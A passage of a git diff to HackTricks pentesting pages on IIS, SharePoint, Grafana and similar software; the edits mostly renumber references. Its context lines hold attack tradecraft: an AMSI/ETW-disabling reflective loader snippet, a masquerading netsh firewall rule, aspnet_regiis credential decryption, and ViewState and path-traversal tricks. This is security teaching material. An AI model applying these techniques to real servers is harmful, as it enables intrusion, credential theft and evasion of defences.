References +- [1] [Go net/http source — `ServeMux.Handler`: "CONNECT requests are not canonicalized"](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/grafana.md b/src/network-services-pentesting/pentesting-web/grafana.md index 651473fea40..a50abcbc7d4 100644 --- a/src/network-services-pentesting/pentesting-web/grafana.md +++ b/src/network-services-pentesting/pentesting-web/grafana.md @@ -123,13 +123,13 @@ The 2025 Grafana client-side traversal and open-redirect chain is already docume ## References -- [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) -- [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins) -- [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/) -- [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/) -- [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/) -- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) -- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) -- [cfreal/ten framework](https://github.com/cfreal/ten) +- [1] [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) +- [2] [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins) +- [3] [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/) +- [4] [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/) +- [5] [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/) +- [6] [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) +- [7] [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) +- [8] [cfreal/ten framework](https://github.com/cfreal/ten) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 8cffc7bb811..8af60b71786 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -41,3 +41,4 @@ In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [2] [Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 3b07db5343e..e0af1796db5 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -49,13 +49,13 @@ X-FEServer: NHEXCHANGE2016 You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)[[2]](#references) ## IIS Discovery Bruteforce ### Passive discovery and active fingerprinting -Before brute-forcing, try to identify IIS/ASP.NET hosts passively:[[2]](#references) +Before brute-forcing, try to identify IIS/ASP.NET hosts passively:[[3]](#references) ```bash ssl:"target.com" http.title:"IIS" @@ -135,7 +135,7 @@ tr '[:upper:]' '[:lower:]' | sort -u ### Leaking source code -Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)[[4]](#references) > [!TIP] > As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\ @@ -191,7 +191,7 @@ In a scenario where a DLL imports a namespace called **WebApplication1.Areas.Min ### Cookieless session path confusion → `/bin` DLL disclosure -Legacy ASP.NET cookieless sessions accept path segments like `(S(X))`. IIS strips those segments during normalisation, which can sometimes expose DLLs from `/bin` even when direct access is denied:[[2]](#references) +Legacy ASP.NET cookieless sessions accept path segments like `(S(X))`. IIS strips those segments during normalisation, which can sometimes expose DLLs from `/bin` even when direct access is denied:[[3]](#references) ```http GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll @@ -203,7 +203,7 @@ After downloading an application DLL, decompile it with dnSpy / dotPeek to recov ### Common files -From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)[[5]](#references) ``` C:\Apache\conf\httpd.conf @@ -297,7 +297,7 @@ ffuf -u https://TARGET_IP/ -H 'Host: FUZZ.target.com' -w vhosts.txt -fs 0 ## Reverse proxy / IIS path normalisation confusion -If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:[[2]](#references) +If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:[[3]](#references) ``` /anything/..%2fadmin/ @@ -333,7 +333,7 @@ With the key ring available, an operator running in the app’s identity can ins ## Harvesting IIS configuration and credentials with ApplicationHost.config / AppCmd -`ApplicationHost.config` is the root IIS configuration file and usually lives at `%windir%\system32\inetsrv\config\applicationHost.config`.[[7]](#references) Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals: +`ApplicationHost.config` is the root IIS configuration file and usually lives at `%windir%\system32\inetsrv\config\applicationHost.config`.[[6]](#references) Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals: - hidden site bindings / internal hostnames - applications mapped outside `C:\inetpub\wwwroot` @@ -372,7 +372,7 @@ For broader post-exploitation loot after OS execution, check [Windows Local Priv ## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style) -The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.[[5]](#references) +The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.[[7]](#references) Key building blocks - ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()). @@ -459,7 +459,7 @@ DisableAmsi(); DisableEtw(); Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } }); ``` -See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md[[6]](#references) +See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md Hunting notes (defenders) - Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts. @@ -515,19 +515,19 @@ You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/ ![Old IIS vulnerabilities worth looking for - Microsoft IIS tilde character “ ” Vulnerability/Feature – Short File/Folder Name Disclosure: You can use...](<../../images/image (844).png>) -Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) +Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)[[8]](#references) You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` A nice idea to **find the final name** of the discovered files is to **ask LLMs** for options like it's done in the script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) -You can also use more modern tooling such as [shortscan](https://github.com/bitquark/shortscan):[[3]](#references) +You can also use more modern tooling such as [shortscan](https://github.com/bitquark/shortscan):[[9]](#references) ```bash shortscan https://target.com/ -F -p 1 ``` -Once you have fragments such as `SITEBA~1.ZIP` or `WEB~1.CON`, build a targeted wordlist instead of guessing blindly:[[4]](#references) +Once you have fragments such as `SITEBA~1.ZIP` or `WEB~1.CON`, build a targeted wordlist instead of guessing blindly:[[10]](#references) - Search GitHub paths for matching prefixes/extensions (for example `path:/global*.asa` or `path:/connec*.config`). - Query BigQuery's public GitHub dataset for real filenames matching the 8.3 prefix. @@ -562,7 +562,7 @@ ASP.NET include a debugging mode and its file is called `trace.axd`. It keeps a very detailed log of all requests made to an application over a period of time. -This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords. +This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.[[11]](#references) [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -570,7 +570,7 @@ This information includes remote client IP's, session IDs, all request and respo ## IIS upload quirks -If an upload filter only blocks `.asp` / `.aspx`, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see [this page](../../pentesting-web/file-upload/README.md), but the IIS-specific checks are:[[2]](#references) +If an upload filter only blocks `.asp` / `.aspx`, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see [this page](../../pentesting-web/file-upload/README.md), but the IIS-specific checks are:[[3]](#references) - HTML-rendered extensions for stored XSS: `.cer`, `.hxt`, `.htm` - XML/XSS-capable extensions: `.dtd`, `.mno`, `.vml`, `.xsl`, `.xht`, `.svg`, `.xml`, `.xsd`, `.xsf`, `.svgz`, `.xslt`, `.wsdl`, `.xhtml` @@ -581,7 +581,7 @@ A successful `web.config` or executable upload can escalate directly to RCE; oth ## HTTP Parameter Pollution / WAF bypass -ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:[[2]](#references) +ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:[[3]](#references) ``` https://target.com/page?param= @@ -599,7 +599,7 @@ ASPXAUTH uses the following info: - **`decryptionKey`** (string): hex-encoded key to use for decryption. However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\ -This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). +This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).[[12]](#references) ## MachineKey loot → ViewState and auth-cookie abuse @@ -610,7 +610,7 @@ If a **`web.config` / `machine.config` leak**, backup disclosure, path traversal - decrypt or forge `.ASPXAUTH` / ASP.NET application cookies - pivot across sibling IIS nodes that reuse the same static keys -In 2025, Microsoft documented real intrusions abusing **publicly disclosed ASP.NET machine keys**, and reported identifying **more than 3,000 exposed keys** in public sources.[[8]](#references) Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm. +In 2025, Microsoft documented real intrusions abusing **publicly disclosed ASP.NET machine keys**, and reported identifying **more than 3,000 exposed keys** in public sources.[[13]](#references) Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm. ```bash # Try known/public keys first @@ -627,7 +627,7 @@ For the **legacy vs .NET 4.5+** details, `__VIEWSTATEGENERATOR`, `ViewStateUserK ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user . +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user .[[14]](#references) ```python # script for sanity check @@ -654,7 +654,7 @@ HTTP/1.1 200 OK ## HTTP.sys HTTPS header-line fragmentation -When IIS or another Windows service is backed by **HTTP.sys over HTTPS**, remember that **TLS record boundaries can become parser-relevant boundaries**. SChannel decrypts **each TLS application-data record independently** and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.[[9]](#references)[[10]](#references) +When IIS or another Windows service is backed by **HTTP.sys over HTTPS**, remember that **TLS record boundaries can become parser-relevant boundaries**. SChannel decrypts **each TLS application-data record independently** and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.[[15]](#references)[[16]](#references) ### Why this matters @@ -664,11 +664,11 @@ If the target parses **HTTP/1.x headers** and fully consumes each buffer without - each line terminated with **`CRLF`** - a **single long-lived HTTPS request** -This is useful when the backend keeps **per-buffer metadata** during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an [integer overflow](../../binary-exploitation/integer-overflow-and-underflow.md) condition in the array capacity field, which later caused a **tiny reallocation + oversized `memmove`** kernel pool overflow.[[9]](#references)[[10]](#references) +This is useful when the backend keeps **per-buffer metadata** during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an [integer overflow](../../binary-exploitation/integer-overflow-and-underflow.md) condition in the array capacity field, which later caused a **tiny reallocation + oversized `memmove`** kernel pool overflow.[[15]](#references)[[16]](#references) ### Practical exploitation notes -- This technique was **HTTPS-only** because plaintext HTTP is more likely to be **coalesced/merged** before the parser sees separate buffers.[[9]](#references)[[10]](#references) +- This technique was **HTTPS-only** because plaintext HTTP is more likely to be **coalesced/merged** before the parser sees separate buffers.[[15]](#references)[[16]](#references) - The vulnerable path was **HTTP/1.x header parsing**. **HTTP/2** / **HTTP/3** and **HTTP body parsing** did not hit the same logic. - Exploitation required **tens of thousands of tiny header lines** split across TLS records, so very large request-header limits were needed. - For HTTP.sys specifically, check `HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes`. @@ -678,7 +678,7 @@ This is useful when the backend keeps **per-buffer metadata** during header pars ### Detection ideas -- **Best signal:** decrypt HTTPS and flag **HTTP/1.x requests with more than ~1000 header lines**.[[9]](#references)[[10]](#references) +- **Best signal:** decrypt HTTPS and flag **HTTP/1.x requests with more than ~1000 header lines**.[[15]](#references)[[16]](#references) - **Fallback heuristic:** on one TLS connection, alert on **more than ~1000 short application-data records** carrying small payloads. - **Supplemental signal:** suspiciously **long-lived HTTPS connections** repeatedly feeding tiny records. @@ -687,13 +687,20 @@ This is a good example of a broader review rule: if a protocol stack processes d ## References - [1] [0xdf – HTB Job (IIS write → ASPX shell → GodPotato)](https://0xdf.gitlab.io/2026/01/26/htb-job.html) -- [2] [Humiliating IIS Servers for Fun and Jail Time](https://mll.sh/humiliating-iis-servers-for-fun-and-jail-time) -- [3] [shortscan](https://github.com/bitquark/shortscan) -- [4] [Assetnote – Finding Hidden Files and Folders on IIS Using BigQuery](https://www.assetnote.io/resources/research/finding-hidden-files-and-folders-on-iis-using-bigquery) -- [5] [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/) -- [6] [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md) -- [7] [Microsoft – Introduction to ApplicationHost.config](https://learn.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/introduction-to-applicationhostconfig) -- [8] [Microsoft Threat Intelligence – Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) -- [9] [Zero Day Initiative – CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys](https://www.thezdi.com/blog/2026/7/9/cve-2026-47291-remote-code-execution-in-the-windows-httpsys) -- [10] [Microsoft MSRC – CVE-2026-47291](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291) +- [2] [Soroush Dalili – Upload a Web.Config File for Fun & Profit](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +- [3] [Humiliating IIS Servers for Fun and Jail Time](https://mll.sh/humiliating-iis-servers-for-fun-and-jail-time) +- [4] [MindedSecurity – From Path Traversal to Source Code in ASP.NET/IIS](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +- [5] [Windows Privilege Escalation Guide – absolomb](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +- [6] [Microsoft – Introduction to ApplicationHost.config](https://learn.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/introduction-to-applicationhostconfig) +- [7] [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/) +- [8] [Soroush Dalili – Microsoft IIS Tilde Character Vulnerability/Feature (original research PDF)](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) +- [9] [shortscan](https://github.com/bitquark/shortscan) +- [10] [Assetnote – Finding Hidden Files and Folders on IIS Using BigQuery](https://www.assetnote.io/resources/research/finding-hidden-files-and-folders-on-iis-using-bigquery) +- [11] [Rapid7 – ASP.NET Trace.axd Information Disclosure](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) +- [12] [How I Hacked Facebook, Part Two](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) +- [13] [Microsoft Threat Intelligence – Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [14] [Orange Tsai – Let's Dance in the Cache: Destabilizing Hash Table on Microsoft IIS](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) +- [15] [Zero Day Initiative – CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys](https://www.thezdi.com/blog/2026/7/9/cve-2026-47291-remote-code-execution-in-the-windows-httpsys) +- [16] [Microsoft MSRC – CVE-2026-47291](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 48f904a6ac9..02b468a7739 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -141,5 +141,3 @@ Additional hardening: - [3] [ImagePanick PoC / Docker lab](https://github.com/e1abrador/ImagePanick/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 87efea9e5b7..0c81bddd95a 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -88,7 +88,7 @@ find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zc ### Python PoC -A ready-to-use exploit automates token handling and payload delivery: +A ready-to-use exploit automates token handling and payload delivery:[[3]](#references) - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Example run: diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index 4e6b7a6f990..13fafbdb611 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - - ## Enumeration and Exploitation Techniques When assessing the security of web applications, certain paths like _/web-console/ServerInfo.jsp_ and _/status?full=true_ are key for revealing **server details**. For JBoss servers, paths such as _/admin-console_, _/jmx-console_, _/management_, and _/web-console_ can be crucial. These paths might allow access to **management servlets** with default credentials often set to **admin/admin**. This access facilitates interaction with MBeans through specific servlets: @@ -21,9 +19,5 @@ To exploit vulnerabilities, resources such as [JexBoss](https://github.com/joaom Google Dorking can aid in identifying vulnerable servers with a query like: `inurl:status EJInvokerServlet` - - {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index b09afbd1aa8..1bfa6df6a54 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -162,8 +162,6 @@ These are some of the actions a malicious plugin could perform: - **Reverse Shell**: Or get a reverse shell. - **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it. - - ## References - [1] [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html) diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 192f6d72e6a..4fa4bc5d656 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -125,5 +125,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi - [1] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md index 8342fe10b55..54747a05feb 100644 --- a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -27,15 +27,15 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx -`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.[[1]](#references)[[3]](#references) +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.[[1]](#references)[[2]](#references) ### 2.2 CVE-2025-49706 – Improper Authentication Bypass -The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.[[1]](#references)[[3]](#references) +The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.[[1]](#references)[[2]](#references) ### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE -Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.[[1]](#references)[[5]](#references) +Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.[[1]](#references)[[4]](#references) If signing is enabled, steal the **ValidationKey/DecryptionKey** from any `web.config` (see 2.4) and forge the payload with *ysoserial.net* or *ysodom*:[[1]](#references) @@ -52,14 +52,14 @@ For an in-depth explanation on abusing ASP.NET ViewState read: ### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure -Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:[[1]](#references)[[5]](#references) +Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:[[1]](#references)[[4]](#references) * `` ➜ forge ViewState / ASPXAUTH cookies * connection strings & secrets. ### 2.5 ToolShell workflow observed in Ink Dragon intrusions -Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:[[6]](#references) +Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:[[5]](#references) * **Header spoofing for auth bypass** – the actor sends POSTs to `/_layouts/15/ToolPane.aspx` with `Referer: https:///_layouts/15/` plus a fake `X-Forms_BaseUrl`. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771). * **Serialized gadget in the same request** – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside `w3wp.exe` without ever touching disk. @@ -111,7 +111,7 @@ Same shell but:[[1]](#references) ### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026) -Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain **after initial RCE** to deploy a dual-channel C2 implant and ransomware in SharePoint environments:[[4]](#references) +Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain **after initial RCE** to deploy a dual-channel C2 implant and ransomware in SharePoint environments:[[3]](#references) #### AK47C2 – `dnsclient` variant @@ -160,24 +160,24 @@ Recent incident-response investigations (Unit42 “Project AK47”) show how att ### 3.5 Turning SharePoint loot into lateral movement -* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind ``. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.[[6]](#references) -* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.[[6]](#references) +* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind ``. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.[[5]](#references) +* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.[[5]](#references) * **Abuse leaked `` values internally** – even if the internet perimeter gets patched, reusing the same `validationKey`/`decryptionKey` allows lateral ViewState exploitation between internal SharePoint zones that trust each other. ### 3.6 Persistence patterns witnessed in 2025 intrusions -* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st ` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.[[6]](#references) -* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.[[6]](#references) +* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st ` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.[[5]](#references) +* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.[[5]](#references) ### 3.7 Host firewall downgrades for relay traffic -Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:[[6]](#references) +Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:[[5]](#references) ```cmd netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any ``` -Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.[[6]](#references) +Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.[[5]](#references) --- @@ -192,10 +192,9 @@ Because the rule is created locally (not via GPO) and uses the legitimate Defend ## References - [1] [Unit42 – Active Exploitation of 